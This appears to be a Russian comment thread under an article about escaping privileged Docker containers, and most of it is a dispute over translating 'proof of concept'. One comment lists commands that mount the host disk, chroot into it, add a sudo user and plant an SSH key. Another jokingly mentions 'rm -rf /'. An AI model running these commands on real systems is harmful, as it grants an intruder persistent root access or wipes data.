Побег из привилегированных Docker-контейнеров

[mickvav]

А можно все-таки найти какой-то более русский перевод для «proof of concept»?

[AlexGluck]

Да чё там делать

mkdir /test
mount /dev/sda1 /test
chroot /test
useradd -G sudo ihackedyou
mkdir -p /home/ihackedyou/.ssh
echo 'ssh key' >  /home/ihackedyou/.ssh/authorized_keys

[mickvav]

Я не об этом. rm -rf / в духе свежих котиков будет достаточно ;)

Я вот о чем — автор не стесняясь пишет:

Эта проверка концепции использует функцию release_agent из cgroup.

Либо я отстал от жизни, либо «проверка концепции» в данном контексте — бездумная калька с английского «proof of concept» (в оригинале — PoC). Я проверил — оно конечно есть как термин, но какой-то уж очень редкий. Скрипт был бы более уместным тут.